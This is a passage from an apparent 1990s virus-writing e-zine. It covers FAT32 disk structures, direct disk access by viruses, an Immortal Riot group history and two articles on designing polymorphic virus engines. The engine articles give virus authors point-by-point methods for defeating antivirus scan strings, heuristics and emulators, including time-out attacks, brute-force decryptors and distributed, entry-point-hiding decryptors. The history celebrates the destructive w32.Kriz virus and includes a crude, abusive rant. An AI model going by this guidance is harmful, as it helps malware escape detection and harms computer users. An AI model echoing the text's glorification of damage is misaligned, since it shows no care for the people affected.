huge disks. You have to think about of adressing space for accessing sectors on disc. May be some of you
remember how the limit of 512MB was famousely broken. Maximum coordinates some time ago were:

6 bits for sector number (starting from 1) - max 63 sectors


6 bits for head number (starting from 0) - max 64 heads
however this is slightly implementation dependent. In general description whole DH register used with
13/02 (int 13, ah=02) should contain head number which allows 256 heads, but Award BIOS uses
highest two bits of DH for highest track bits, and Ami as well as far as I know.
12 bits for cylinder (starting from 0) - max 4096 cyls (or tracks)
which also performs some kind of incompatibility, as original documentation refers 10 bits for tracks
(max 1024) - CH plus 2 highest bits in CL, but most bioses I know uses also highest two bits of DH as
additional bits.

However, thinking about maximum 6/6/12 bits or 6/8/10 bits leads to same results. But some of the BIOSes
(IBM based) supports only 4 bits for head, and, of course 10 bits for track. In result it is 63*16*1024 sectors
(each 512 bytes) which is nearly the famouse 512MB limit.
Those disks in old times uses disk managers in order to overcome this limit under all bioses (usualy
emulates int13 call using controller commands performing LBA accessing). LBA introduced in that time
means Logical Block Adress - avoiding old geometry adressing (track/head/sector) with logical sector
number.
Well, 512mb limit is over, but there is another limit - given by maximum accessible number of 3 bytes use for
old-style access 63*64*4096 - an 8GB limit. By the way - MS-DOS (and Win95/98 as well, as it still relies on
old dos routines) has trouble using head 255, and disks must be mapped as maximum 255 tracks (0..254
which can be handles by msdos). Here you can see, how big is Microsoft's influence to hw manufactures -
due to bug in very old OS the still presents hw which overcomes these problems. Moreover - none of disks I
seen within last 2 years uses real geometry but instead of it they use internal translation of geometry from
logical that is indicated to bios and dos, into physical. Well, it is unbelieveable that todays disk has 255
surfaces which means 128 physical magnetic disks with surfaces on both sides - how you can fit it into disk
package aprox inch of height? ;-)

Well, back to 8GB limit of old style adressing (which must be there, otherwise DOS - and its graphical
frontend called Windows can't be started). This can't be simply bypassed this way by increasing some bits. A
new routines for reading must be introduced. Have a look on current partition table code and read: A old
routines 13/02 are still there, but preferable it uses new EDD functions (Enhanced Disk Drive - originaly
found in Phonenix BIOS, but available in AWARD as well). It is detected by calling 13/41, and accessible via
13/42 using qword LBA for adressing sectors.
This qword can't be extracted from old adressing bytes as there isn't enought bits to cover all the needed
information. Thats why begining relative sector is used which has dword size. Of course, introduces a new
limit of 4G sectors = 2TB. Too bad, isn't it? Disk size is rapidly increasing, hope these structures will be
changed within next years.

Also there are four new filesystem codes for partition table entries for FAT32 disks:

0Bh - FAT32 (32bit fat, up to 2047GB)


0Ch - FAT32x (same as FAT32, but uses LBA-logical block adress for accessing)
0Eh - DOSX13 (same as 06h - 16bit fat for larger partitions than 32MB, but with LBA accessing)
0Fh - DOSX13x (same as 05h - extended partition, but with LBA accessing)

Logical disc structure


We can now access disk and its sectors. A logical disks follows - organisation is nearly unchaned - for
compatibility reasons. A boot sector and reserved sectors take a place, two copies of FAT, and clusters
containing directories and files. Now, as in whole FAT32 implementation I can present two news: bad one
and good one. Good one is that Microsoft is learning on his old mistakes and corrects them - root directory
has no longer fixed position, and is located in separate cluster - so it can be expanded more than limited
number of items like in previouse versions was. Bad news is that MS still stays on bad and unreliable
filesystem, with slow access, not statisticaly optimized for files typicaly used. Of course, there is NTFS but
people still prefer FAT-based filesystems.
Boot sector
Boot sector is no longer a sector. Funny, isn't it? We should better call it boot record (or superblock for linux
freaks) because now it is stored in first three sectors. Moreover it is usualy mirrored by default to sectors 6-8
(a hotlink backup of boot sector) but its coordinates are stored in bootsector, so once it lost you generaly
can't find a copy :-)
Here are offsets and meaning of values in boot sector(s), presented in linear offset which means offset
0x0200 means sector 1 offset 0x0000. Code is now stored in sectors 0 and 2.

0x0003: OEM ID (8 chars) usualy "MSWIN4.1" (or 4.0 for Win95)


0x000B: bytes per sector (word) always 512 for hard-disks
0x000D: sectors per cluster (byte)
0x000E: reserved sectors at begining (word) usualy 32 but can vary (with sector 0)
0x0010: fat copies (byte) always 2 for hard-disks
0x0015: media descriptor (byte) always F8 for hard-disk
0x0016: sectors per FAT (word) 0 for FAT32, as FAT can be really long
0x0018: sectors per track (word) default contains translation mode values
0x001a: sides (word)
0x001c: special hidden sectors (dword) usualy 63
0x0020: big total number of sectors (dword)
0x0024: big total sectors per fat (dword)
0x0028: FAT flags (word): 0-based number of Active FAT - i.e. fat beeing in use (bits 0-3) valid only if
mirroring (bit 7) is disabled, bit 7 - FAT mirroring enabled, bits 4-6 and 8-15 are reserved. In other
words, you can avoid using fat copy that contains physicaly damaged sectors - but someone have to
turn it on :)
0x002a: filesystem version major (byte)
0x002b: filesystem version minor (byte) - 0.0 I saw so far
0x002c: first cluster of root directory (dword)
0x0030: FS sector number (word) - usualy 1 - where rest of boot record is stored - FileSystem
informations (0FFFFh if there is no FSINFO sector, otherwise must be more than zero and less than
reserved sector count)
0x0032: hotlink - backup bootsector (word) - usualy 6 (same as above: 0FFFFh for no backup,
1..reserved-1 otherwise)
0x0040: physical drive number (byte)
0x0042: extended boot record signature (byte) - 0x29
0x0043: volume serial number (dword)
0x0047: volume label (11 chars)
0x0052: filesystem ID (8 chars) - "FAT32 "
0x01fc: signagture (dword) aa550000
0x0200: extended boot signature (dword) - 41615252 "RRaA" (wow! no Mark Zbikowsky and his 'MZ'-
everywere anymore, seems Bill employed someone else ;-)
0x03e4: FSINFO signature (dword) - 61417272 "rrAa"
0x03e8: free cluster count (dword) - as it takes long time to go through whole FAT, number of free
clusters is stored here (0FFFFFFFFh if unknown)
0x03ec: next free cluster (dword) - to speedup free space lookup
0x03fc: FSINFO ending signature (dword) aa550000
0x05fc: signature (dword) aa550000

FAT - 32bit File Allocation Table


by skipping reserved sectors (usualy 32) you can reach file allocation table. Rest of reserved area is cleared,
only boot sector(s) and its backup can be found there so far. But in future, who knows. Signature itself starts
with known F8 FF FF 0F pattern. First cluster can't be used (as from passed), its value in fat is initialized to
FF FF FF 07. The rest contains fat data itself, starting for cluster 2 at offset 8 in fat. Principle of fat lookup is
same as before, but now uses structured 32bit value: 4+28bits, low 28 bits for cluster number (FFFFFFF for
end of chain, FFFFFF8 for bad), upper 4 bits are reserved and Microsoft requires to preserve them when
modifying FAT entries. Representation in stored form is, for example, FF FF FF 0F for end-cluster.
FAT can be very long - up to several thousands of sectors, which of course slows down all operations. As
caching it takes lots of memory, which is unreal with buffers available under DOS. But this makes disks to
surrive CIH's attack, as it destroys first 2000 sectors of disk, but if you have FAT32 (really long), second copy
of fat is usualy untouched - all you need to do to repair disk after CIH is to copy second fat into first, construct
boot sector (copy from other disk an type-in correct values) and write some numbers into partition table.
Resulting few minutes of work - and disk is repaired like nothing happened. With infected files of CIH too, of
course ;-)

Directory entries
I will not speak about LFN entries, as they are already well known I think. All I want to describe where the
32bit cluster value is stored. Low part of cluster number is at the original location, word at +1a bytes in
directory entry. High word is stored at +14 in this entry. Both of them are real index into fat, like under old
fat16/12 system. I also should mention, largest possible file on FAT32 is 4GB minus 2 bytes.

My short description is now over. Are you happy about FAT32 features? Where the hell are features? All is
done as usual - Microsoft extends all stuff in order to keep it working, keeping all fears alive. There is no way
to relyie on old traditions but MS breaks the limits - just like with dos7 and its graphical interface - keeping all
the bugs as tradition that came from win 3.1, old dos, cp/m, etc, etc...

flush
MGL originally placed here my older routines to read/write directly to controller and afterwards I added a
fat12/16/32 emulator. However, I decided to throw it all away and better to discuss why I throw it away.
Because it simply can't work...
Let's start with a little question: Do you use direct disk access in your piece of work? (or would you like to?)
Don't do that! There are many reasons why - but you have to think a bit and you'll sure find some of them.

A time ago virii beats each other in tricks how to pass blocking systems, to write on such a disks, or not to be
caught by resident scanners. Today this idea also looks good - to access disks without having operatings
system know about it, you'll not be found by any resident avir of course (under Windows as well). Its like
entry-point tunneling routines. They usualy works - but only under laboratory contitions. And you have to be
prepared for real life. If vx can't surrive in real, it is unusable - no matter if it replicates on your machine once
it doesn't work on others.

The reason is simple - Microsoft designed all its residental drivers and windows modules in a same way -
placing all one over another, without exactly defined interface, so anyone can do what he wants as long as he
is consisted with upper and lower level. Yeah, it works well, but you have to: take care about order of loading
of such a modules, know what is each module for and what data it has cached. And this is why it can't work
under DOS nor Windows.
In dos, for example, nearly every filesystem-based utility had to be resident on interrupt 21 creating some
sort of chain of drivers, one depending on another. There is also posibility to register some of your
dispatchers directly into dos, but you had to know internal dos stuff to do so - and it is of course slightly
limited (but is a bit a thing I mean). Well, so there are many drivers hooked over int 21, cache, novell netware
disk, resident antivirus (thats why we talk about it too). You can write some cute program that can work on
disc without all this I mentioned (no matter if you are just bypassing some drivers, or directly emulation
filesystem) - on more complicated systems like I mentioned before you will cause a disk-crash. At first, you
can't access disks created by such drivers. Then, driver might have something in their buffers, and you have
no possibility to tell them to flush them. In this case, for example writing to disk a data area that is also
cached by some cache program, and in couple seconds later, cache flushes its buffer to disc discarding your
change. And if it happens in FAT - you can easily imagine what can happen. Of course, there is possibility to
comunicate with such a programs, but as there is no common interface, you can't communicate with all-in-
the-world drivers. And your virus can be easily noticed by a disk inconsistency or even disk crash this way.
Conclusion? Well, you can do some direct things under dos, but remember always to keep everything
consistent - not only with programs you have on you computer, but with programs other users may have.

Under Windows 9x is this situation a bit simmilar. At first, to avoid direct hardware manipulating and to keep
system more consistent there is a hardware virtualization. But you surely know how to fool it - it is quite easy
as you can enter Ring 0. As more things are integrated into windows now (networking, variouse disks are
attached using hardware device manager, cache is build-in, etc) these things becomes more unimportant
every day. And finally, third-party programmers now produces plug-ins for this OS (Windows) instead of
extensions (like for DOS). However, I heard some ideas to access disk directy but the reasons why it will not
work are same as above. Also a disk access dispatcher entrypoint can be rehooked as well under Windows
but if you want to bypass software that is resident in this way, keep in mind you have to do it consistently as
well...

And... Good luck and don't be caught by lusers due to problem in your piece of work you didn't figure about...

flush
Introduction
First of all, let me inform you that this is no "Diary version II" contribution to this excellent zine. It is just an
efford in keeping good, healthy traditions alive, if there's is such a thing.

Anyways, since Mgl asked me to write a little something about "What's up since IR/G?" I couldn't deny him
that. If you feel like you don't want to hear anything further concerning Immortal Riot and are sick tired of my
(I=The Unforgiven) contributions stop reading right now. Then execute some nifty version of w32.Kriz on
your imaginary-girlfriends' computer, connect to your virtual social life and try to hack your way out from your
pity life and if you can't, well go fuck your boyfriend in his arse so you'll wake up the next morning with dry
cum in your hair and shit and pubic hair in your right nosdril.

If you however decided to continue reading, live long and prosper!

Background
Immortal Riot was formed in 1993, which in a few words is quite some time ago. Think about 1993 for a few
seconds. 1993 lacked a lot of things we today are taking for granted. To name a few examples, email, www,
cellular-phones, Fast-Ethernet, Video-on-Demand, MP3, JAVA, Pentium, CD-recordable-devices, DOOM,
digital&web-cameras, distance-jobs, online shops/zines/banks, the official Immortal Riot homepage, cheap
media and other things.

The bad old times?


Of course, some of you folks could actually access a few of the things mentioned above, but the scene was
very different "back then". People would call different 'underground' BBS'es (often with) calling-cards and
upload different stuff (often warez) and BBS-sysops would have a few "mail-nets" (like CCi/NuKE/FIDO) and
everything worked OK with a 14400 bps modem.

This is now considered the stone age and even though I liked playing games like Civilisation and WOLF-3D,
writing trivial COM infectors, plaguing fido-net and so on, it comes a time when one realises that it's time to
move on. When others moved on my learning JAVA, HTML, CGI, setting up www&ftp-sites, coding viruses
for other platforms than DOS (Win95) I decided to take a step back and learn other things in life.

I did however felt that Immortal Riot deserved to live on even though I decided to drop. I left the organisation
to Sepultura and things was going steady, but Sep was left on his own and did pretty much about everything.
I guess he felt like he needed some assistence and after a while IR turned IR/G as a possible solution. IR/G
released Insane Reality #8 and now we've reached the topic for this article.

What's happend since IR/G


Since IR#8 all members of IR/G once again turned lazy and decided to hang lose (i.e. do nada and enjoy the
fame of being in the leete group IR/G. *joke*...). Well, the truth might be something like this. IR/G was
organised by Rajaat and Sepultura and they had both been around for some time and perhaps they didn't
feel like organise IR/G anymore. I can't really answer why IR/G turned out as a failure since I wasn't around
much but fact is that after a while (I dunno exactly how long) we (Immortal Riot) splitted with them (Genesis)
due to unknown reasons and everything was silent (from both groups) for a very long time..

However, since "We splitted with Genesis due to unknown reasons" isn't exactly what I believe Mgl would like
to publish in an article-entry I felt like had to ramble on about some other things and far more interesting
things, for example where we're now.

Immortal Riot 1999


You could say that IR have a lot of members. I don't quite know exactly who're a member and who are not
but that's not really important either. What's more important are the active ones.

T2 are responsible for a lot of good, naughty viruses which all has tormented to world and the best example
is perhaps w32.Krized. It's been reported here, there and everywhere and even though it only fuck-ups the
computer once a year (go check when on http://www.coderz.net/ImmortalRiot) it has caused a bit of panic.

T2 joined IR about a year ago and has ever sinced been giving computer-users around the world a hard
time.

Another new member is Captain Zero and we are all waiting for his projects to be distributed.

Then how about Insane Reality ? Well, what can I say... If someone feels like organising a zine, please
contact me. We have a lot of code to publish but lack some text-material. It's a great challange and a great
fun to release a zine and you shouldn't miss this oppurtunity! If you currently not are a member of IR this is
something that could be arranged.

IR for the future


I have no clue, the future tend to have a few suprises up hers sleeve so I won't dare to mention anything
about it. If you know something I don't, don't hesitate to mail me (theunf@hotmail.com).

Greets
Greets goes to every one in who hanged on efnet #virus back in 1994 and actually TALKED and
BREATHED viruses! :). Please Email-me!

Of course, greetings to all new IR members who can continue where the old-timers left off and bear our
colors with a great pride!

Special thanks must however go to T2 for being an excellent representative of Immortal Riot. God bless you!
IRONY! :).

How to contact us
I can be reached on my hotmail adress, which is theunf@hotmail.com.

All changes, code-updates and other new information will be up at our official site located at
http://www.coderz.net/ImmortalRiot (where other IR-members also can be reached).

Disclaimer
This is only my version. If you think it's false, fake, untrue, or whatever, write me a little something and we'll
somehow fix that. Don't held me responsible for being a goofball :).

Closing Words
Enjoy the next millennium, your life, your time on the earth, don't waste it, do whatever makes you happy and
never hesitate to leave things which aren't healthy for you.

- The Unforgiven/Immortal Riot.


This article deals with a viral technology that has been widely documented, discussed and implemented.
However, it is aimed at explaining certain design flaws in current polymorphic engines and proposing
solutions for these flaws, as well as suggesting improvements to current technology.
The discussion will present an overview of the history of polymorphism pertinent to our subject, anti-virus
detection methods, and will present concepts needed for properly designing polymorphic engines with a view
to their survival in the wild. It will also include a section on structuring and writing polymorphic engines.

The Evolution Of Polymorphic Engines And Their Significance.


The history of polymorphism began with experimentation. Virus authors recognised the susceptibility of their
viruses to scan strings and encrypted their code. Even then, the decryptors were fixed, so anti-virus software
generally had little trouble with a virus that was analysed and for which a scan string was extracted. A
number of authors would rewrite their viruses to create strains which weren't scanned for at the time. A
select few, however, started experimenting with new technology. A German programmer going by the handle
of ~knzyvo} implemented dynamic encryption into his Fish family. The Whale virus, however was a more
notable event. 30 different encryptors were used for this virus, which meant the anti-virus researchers had to
include multiple scan strings. Dark Avenger's Phoenix family would modify bytes of their own decryptors,
thus forcing anti-virus software to use wildcard scan strings. An American anti-virus researcher named Mark
Washburn wrote a family of viruses that would generate a different decryptor altogether for every time the
virus would replicate.

The real breakthrough in polymorphism was, though, the release of Dark Avenger's Mutation Engine, or MtE.
This engine was distributed in a form of an object linkable to a file, and was what started the revolution in the
way viruses were written. Anti-virus researchers were at a loss. The traditional methods of detection were
obsolete, since this engine would have needed 4.2 billion signatures, many of which might be present in
legitimate programs. Instead, most anti-virus researchers opted for methods like algorithmic scanning -
checking whether or not code in question could be produced by a polymorphic engine. Several months later,
anti-virus software couldn't reliably detect MtE-generated decryptors.

A second blow came to the anti-virus industry with the release of Trident Polymorphic Engine, written by
Masud Khafir. A more complex algorithm was used for producing encryptors, and again, anti-virus
researchers were left with the task of reliably detecting TPE. While the decryptors themselves weren't
particularly sophisticated, they could easily be mistaken for encryption used in commercial software, and
later, several other engines would be mistaken for TPE samples.

A new concept was introduced in 1993. Neurobasher's new Tremor virus spread widely in Germany. It
seemed to researchers that a suitable algorithm was devised for its detection, yet, the virus continued to
elude scannes in the wild. After thorough analysis of the virus's code, it was found that instead of generating
random numbers, Tremor would use relatively immutable data to create its permutations. New strains would
be generated every, say, full moon or on infecting a new system. This meant that the anti-virus researchers
would need to spend even more time and effort on analysing a polymorphic virus lest they release an
incomplete algorithm.
Meanwhile, across the channel, a British virus writer known as the Black Baron released his polymorphic
viruses built around an engine called SMEG. This engine introduced the concept of generating decryptors
with large amounts of junk instructions present in the decryptors. Once again, scanners had difficulty when
confronted by a new polymorphic beast. It took a much longer time to analyse a piece of code and determine
whether or not it was encrypted by SMEG by picking out the decryptor from the junk.
[MGL's note: If you take closer look on SMEG, you will get the point - generated decryptors are huuuuge ]

From 1992 to 1994, an unknown researcher in Uruguay busily created a family of 10 viruses, each more
polymorphic than the last. The novelty of his approach rested in tracking the code that was generated, and
producing decryptors that looked even more like the real thing. It became difficult to distinguish polymorphic
decryptors from real code.

Another 1994 engine that made a significant impact on the anti-virus industry was DSCE. Dark Slayer stated
that his decryptors contained no loop, key, or start-up values. In a way, he was correct. However, it's an
exaggeration of what the engine really did - these structures were concealed in a massive (at the time)
decryptor by point-encrypting the opcodes that resembled a decryptor loop. Once again, scanners were
slowed down by having to analyse the decryptor in depth.

While there are several other polymorphic engines just as technically advanced as those mentioned above
and the authors of which deserve just as much recognition, these are the ones that we need to illustrate the
design of a solidly built polymorphic engine.

Polymorphic Virus Detection Methods.


So, what methods are used to detect polymorphic viruses in the wild? And what weaknesses of the
polymorphic engine design do they exploit? These are questions particularly interesting to any aspiring writer
of a polymorphic engine. It must be understood that anti-virus software developers often implement the
lowest-grade working solutions. For instance, when Whale appeared, multiple scan strings were used
instead of an algorithm. When MtE appeared, an algorithm was used instead of more sophisticated methods
of analysis such as single-stepping through the decryptor or emulation of the decryptor code. So, a virus
sufficiently advanced to defeat currently available methods of detection would instantly get a time window
that would give it a chance to spread in the wild. Well, let's take a look at what we're up against.

Scan strings
this is something a designer of a good polymorphic engine should not worry about. You do need to
keep in mind that any sort of structured code fragments in your engine, such as anti-debugging code or
anti-emulation code can be scanned for and used to aid a scanner in analysing a piece of code. A small
set of fixed chunks of junk code can also be detected if the decryptor is scanned with several scan
strings that allow for wildcards.

Algorithmic analysis
again, something not commonly used in our day and age. This works by analysing the code, and
deducing the file is infected (or not infected) if certain conditions are met - for instance, if a decryptor
structure is recognised or if the scanner finds an opcode that couldn't have possibly been generated by
the engine.

Statistical analysis
this is a specialised form of algorithmic analysis that counts up the incidence of certain opcodes and
code structures. This method is still used quite heavily in heuristic engines to set off an alarm if a file
contains code that does not "look" naturally written or generated. Of itself, it is of little use.
Int 1h tracing
also known as single stepping. I don't know of any anti-virus scanner that uses this antiquated method
of examining the code, however, Thunderbyte's TbClean program utilises the int 1h single-step mode
to disinfect files. Defeating this method is simple enough, but it's usually not worth including the code,
simply because it's so little-used.

Cryptanalysis
attemps to crack the virus's encryption and find a scan string underneath. While it's rarely used, it can
be very effective against a fair number of polymorphic and encrypted viruses. Once again, though,
defeating it isn't usually worth the effort.

Heuristic scanning
this method was originally developed to find viruses unknown to the virus scanner in question.
However, the anti-virus software designers have caught on and are now using it to detect unnatural
looking code which is often found in decryptors of polymorphic engines.

Emulation
this is the method currently relied on by anti-virus software to detect most polymorphic viruses. A piece
of code performs the function of a fairly complete CPU and executes the code in question in a
controlled environment until it deduces it has emulated far enough, at which point a scan can be
performed for a fixed signature. All the work that went into a polymorphic engine goes rightdown the
toilet bowl.

Polymorphic Virus Detection Countermeasures.


A properly designed engine should aim to generate code that is as obscure and difficult to detect as possible.
Here's a simple point-by-point guide to stopping most detection methods.

Scan strings
this is should be avoided by proper engine design. By proper engine design, I mean that any and all
code produced by the decryptor should be completely variable - at least one alternative per every
opcode that is used for any structure.

Algorithmic analysis
this should be combatted by including at least 80% of all 80x86 opcodes, and all of the commonly used
opcodes. The more variability here, the more difficult it is to disqualify a file as a potential carrier of the
engine, therefore it becomes difficult to identify all of the infected files without false alarms.

Statistical analysis
this also depends on how the engine is structured. A few engines include a lot of one-byte instructions
that mess around with the flags, nop's, hlt's, lock's, or whatever. Do not do this - any statistical scanner
worth its salt will pick out the file with 25 nop's and 19 clc's in a 380-byte area of code. I'll elaborate on
this in the section that describes the engine structure.

Int 1h tracing
the countermeasures for this are well-known. Most stack modification instructions, flags tests and other
such anti-debugging tricks will stop a simple tracer. Prefetch queue tricks are inadvisable to use here
since it is difficult to design ones that will be compatible with all processors, past, present and future.
Cryptanalysis
this technique relies on the fact that a lot of viruses will encrypt their code with simple operations like a
single 8-bit xor loop. This is often true. However, doing several mathematical operations on every byte
will quite easily defeat this method, as it will need to try a large number of combinations to find the right
encryption algorithms and keys. The use of sliding keys once again makes the job more difficult, as the
right key modification operation has to be found for every loop.

Heuristic scanning
this relates to statistical analysis, especially so in polymorphic engines. The key to avoiding producing
heuristically sensitive decryptors is structuring the engine in a way that would ensure that the generated
code appears to look like natural code written by a human being and assembled by an assembler. This
means, among other things is that all of the opcodes a polymorphic engine generates must be in their
shortest form. A point that must be noted here is that heuristical analysis is used to determine whether
or not the code should be emulated. If your virus passes the heuristic checking, it won't be emulated to
start with, or the emulator will stop before the virus is decrypted. The two are a part of one mechanism,
where defeating one will stop analysis completely.

Emulation
defeating this method alone will significantly reduce the number of your virus samples anti-virus
programs X, Y and Z will detect. To defeat this method though, one must have a good knowledge of the
emulation system or systems in question. Well, here's the good news: the emulation systems used in
anti-virus software are quite inferior in that they are often incomplete, sometimes buggy. This is most
often intentional. Why? Well, most encrypted or polymorphic viruses use a limited instruction set in their
decryptors. This means there are instructions left out of their instruction sets. The wider variety of
instructions your polymorphic engine can generate (in context, of course), the better the chance of
stopping an emulator. Emulators will also restrict the virus's function, so something as simple as writing
to a memory location and testing the write can detect an emulator's presence. However, there's a more
serious threat to an emulator attack. Most emulators are designed for speed. Therefore, a counter-
attack on an emulation system that will always be effective should be designed to bleed off as much of
the time as possible. This accomplishes two goals - the user will prefer a fast, unreliable scanner over a
slow and reliable one, and it would take an emulator a long time to detect the virus decryptor. Of
course, an emulator could time out assuming it's emulated the code too far and quit emulating, which is
a complete victory for the virus author.

An example time-out attack could be orchestrated in the following fashion. The virus is encrypted and written
to disk, but the key is not saved. To derive the key, some sort of checksum of the unencrypted code is
saved. The virus is decrypted with a random key, the checksum is calculated, and the two checksums are
compared. If the two checksums do not match, the virus is re-encrypted with the reverse operation and the
process is looped back. This makes for a larger, more sophisticated loop, which an emulator must go
through hundreds of times, magnifying the relative slowdown. Anti-virus emulators are built with avoiding
infinite loops in mind, so perhaps an emulator will skip such a structure.
[MGL's note: For example Spanska's IDEA.6126 uses above described approach ]

Another time out strategy is building complex decryptors. This will be further explained in the section
dedicated to engine structure, but the premise is that the more code the emulator has to execute, the slower
it will be. Therefore, a decryptor containing a moderate number of conditional jumps, calls to subroutines,
and other such structures will be slower to emulate than one that's purely linear.

Designing And Structuring A Polymorphic Engine.


A polymorphic engine is no trivial task to write. Much of the overhead can be reduced by setting down an
appropriate structure for the engine and organising it according to that.
The function of a polymorphic engine is to encrypt a piece of code and produce a decryptor that will then
decrypt the encrypted code. The decryptor that is produced must be as variable as possible. To achieve this,
and to make analysis more difficult, a polymorphic engine will usually be written to produce:

Decryptor loop
one or several loops in the actual decryptor code that would be selected from one of several loop types
where the individual instructions withing the loop would be modified. The algorithms used to perform
the en/decryption would range from common XOR loops to esoteric int 1h tracers that would decrypt
individual opcodes as they were executed.

Junk instructions
opcodes written in before, after or in between the decryptor loop itself to disguise the presence of the
polymorphic decryptor in the infected file. This has traditionally been a problem area for most
polymorphic engines, as the junk produced was not within the statistical bounds of regular code. More
recently, virus writers have paid more attention to this, and more complex code structure has been
created by latter-day polymorphic engines.

Armouring code
this has been widely explored, and the approach here was to traditionally generate code fragments
ranging from stack tricks to int calls. The purpose here has been to stop analysis by anti-virus software
and people analysing the decryptor, either by using an emulator or a real-mode debugger that would
step through the code by utilising the 80x86 single-step mode.

Anti-heuristic code
I've seen only a couple of engines that use this particular sort of code. The purpose here is to
obsfucate the decryptor by concealing the actual decryptor instructions.

Here, I would like to both compliment a virus writer for his achievement and expand on his idea to suggest a
new design standard for advanced polymorphic engines. Almost 4 years ago, a virus was published in an
underground virus exchange e-zine called 40Hex. The name of this virus was Level-3, and the author was
then-famous Vyvojar, who had by then firmly established himself with the notable One_Half virus.
[MGL's note: according the Vyvojar One_Half virus was written to demonstrate virus with maximum
spreading abilities while One_Half successor Level-3 was demonstrating use of hardcore poly encryption. ]
The design of the engine was revolutionary - the engine would generate the decryptor code, and then
emulate it to determine the instruction flow. This concept is quite similar to the ideas I was working on at
thetime, which leads me into the design structure of an engine that would be extremely resistant to most
analysis methods.

First of all, all of the code the engine generates would have to be emulated by its own internal emulator. This
means the contents of the registers can be quite easily tracked by the emulator and the levels of complexity
will be increased to a great degree. For instance, when a value like a key, start of the encrypted area, or any
such area is required, the engine can quite simply fix up the values already held in the registers. The values
on the stack would be emulated too. The possibilities here are really much bigger than the simple variation
that can be achieved by setting down sets of rules for generating code.

Secondly, all of the 8086 opcodes should be produced by the engine. However, they should be produced in
different frequencies - for instance, an average decryptor would usually contain about 80% of the 8086
instruction set, with the remaining 20% generated in 1 out of 20 samples. The garbage generation can be
handled by building tables which would be accessed with different probabilities. Of course, producing 80386+
opcodes, or floating point coprocessor instructions would increase both variability and make the engine
harder to emulate. Remember, no emulator is perfect, and most anti-virus emulators cannot handle complex
instruction sets in decryptors.

Thridly, the structure of the decryptor itself should be complicated by such things as calls and conditional
jumps. The reason for this is quite simple - it facilitates emulator slowdown. For example, 3 calls to a 20-byte
subroutine are equivalent to 69 bytes of code. Conditional jumps are very useful for slowing down the
process too. Emulators will attempt to emulate every path that is available if it cannot be predict the direction
of the jump - a technique known as path emulation. One jump that cannot be predicted by an emulator
means the decryptor will have to be emulated twice. Two such jumps mean the decryptor will have to be
emulated four times. Structures like this ensure that a small decryptor may take as long to emulate as a very
large decryptor.

Finally, a word about layers. It seems that a lot of people believe a higher number of layers will ensure
adequate protection. This protection is only there in so far as the emulator will simply take as long to emulate
the layers as it would for a single decryptor of the collective size of these layers. There is a restriction on the
largest possible size or the largest number of layers that has to be made, and it seems optimal to maintain
only two layers, one to fool heuristic scanners into thinking it's legitimate code and decrypt the second one,
and the second being a simple cyclical decryptor for the rest of the virus.

I hope that this has given you an insight, insiration or ideas to implement. Good luck with designing your new
super-polymorph. ;)

Special thanks to MGL, Pockets and Owl for their invaluable ideas and suggestions.

Greetings fly out to all my friends in the scene.

This document is © 1998 Buz [FS], and may be distributed so long as the correct copyright of this document
is stated, and it is not modified in any way. Any medium in which this document is distributed in must be free.
Polymorphism is for viruses one of the must. Buz[FS] brings us some valuable ideas for the coding. His
paper is very consistent and good written. But there are several ommited things that we should mention.

Brute-force decrypting
Interesing idea of complicating scanning, first it was shown in real life by virus IDEA - because it uses
cryptographic algorythm named Idea to encrypt its body. It pushed time of emulation of such a decryptor to
the limits so antivirus will abort its emulation on time-out. Because even virus itself doesn't know decryptor
key and it tests all combinations to find it out. It tooks for example a second, but for emulator in antivirus it will
took tens or even hundred of seconds - which is not acceptable of course. But you should keep in mind that it
is enought for antivirus to detect decryptor (or even less specific things) to signalise a virus, and there is no
real need of such brute-force key finding for antivirus. But if this algorythm is polymorphics enought and
antivirus can't detect any scheme in it, this will really work pretty well.
You should also keep in mind to use a good cryptohraphic algorythm (not a simple xor) becase otherwise
antivirus can perform a cryptographic analysis faster than is your key-finding routine.

Opcodes variability
You can hear in these days: this poly engine uses fpu instructions, another poly engine uses pentium
opcodes, and other one using mmx opcodes. All this sounds good, but is not compatible at all. For example
older Cyrix or AMD cpus doesn't have MMX at all. And there are pentiums without mmx and even 486s as
well. On those your virus will hang - ant that is best way of its detection by lame users.
Yes it is good to use many specific opcodes, because it will be harder to identify and harder to trace.
However you should not use opcodes that are incompatible. How to solve this? Well, my suggestion is to
have some extra opcodes enabled by a special flags. Because PEs are basical i386 compatible, you should
stay at this level for regular files. But when a virus is going to infect system files to establish itself a home on
new computer (like installing to DLLs or VXDs), you can use as many opcodes as current machine supports.
Because there is no chance (or very little) that these files will leave current computer. But for transfering
virus, you don't know what processor target machine have and you should stay as compatible as original file
you are infecting is (to check a CPU flag in PE header). For these reasons, you can read another our article
about opcodes.

Entry-point hiding
Now, we have to break most common definition of polymorphism associated worldwide. Everyone
understoods that polymorphics virus means virus stored in file with fixed body, with generated decryptor to
decode fixed body. It is used to prevent easy detection of body instead of it, a generated decryptor must be
analysed and detected. But it is not right. This is only way how everyone knows it, however there are also
other techniques that breakes this rule. Entry-point hiding, firstly very successfuly demonstrated in Dark
Avenger's (in fact inventor of now known polymorphism) piece of code called Commander Bomber.
Commander bomber leaves its body completly visible (what a lucky for avers), but you dont know where it
actually is. It infects only com files, so whole file can be scanned of course to detect it (a weak point of this
virus), but in general you don't know where the body is: there are several fragments of code, place anywhere
in host file, that are connected with jumps, contitional jumps and call/rets as well. As it is generated (as well
as for classic polymorphical engines) it is hard to identify if fragment of code belongs to Commander Bomber
or not. Commander Bomber uses excelent code generator but imho Darkie wanted not to have it encrypted
to simplyfo work of avers. No matter now.
This technology is hard to scan, because antiviruses are not loading a whole file (imagine running this on
1mb PE), and simply can't reach body by following all code fragments.

Distributed decryptor
This is some kind og combination idea of hiding entry-point mentioned above with decryption routine. In
normal poly engine the situation is similar to figure 1 while distributed poly decryptor look like on figure 2

fig. 1 fig. 2

infected host part

infected host decryptor part

infected host part

decryptor decryptor part

encrypted body of the virus infected host part

encrypted body of the virus

infected host part

Prelude to the topic distributed decryptor has been written by Bulgarian programmer known as Dark Avenger
in his Commander Bomber virus (already mentioned). The first real (as far as I know) but weak
implementation of distributed decryptor can be seen in Vyvojar's One_Half virus with its decryptor divided in
10 parts. However, it was really easy and we should not call it really polymorphic as encryption schema was
pretty visible even for stupids. But even as it was so simple, it complicates life to avers really good. May be
you remember.

And what would be the perfect distributed decryptor? Imagine decryptor spread all across the host file, with
no specific locations, emulated of cos, code fragments linked together with conditional and unconditional
jumps, calls, loops combining linear and cyclyc structures, time-out attacks, armouring and anti-debug code.
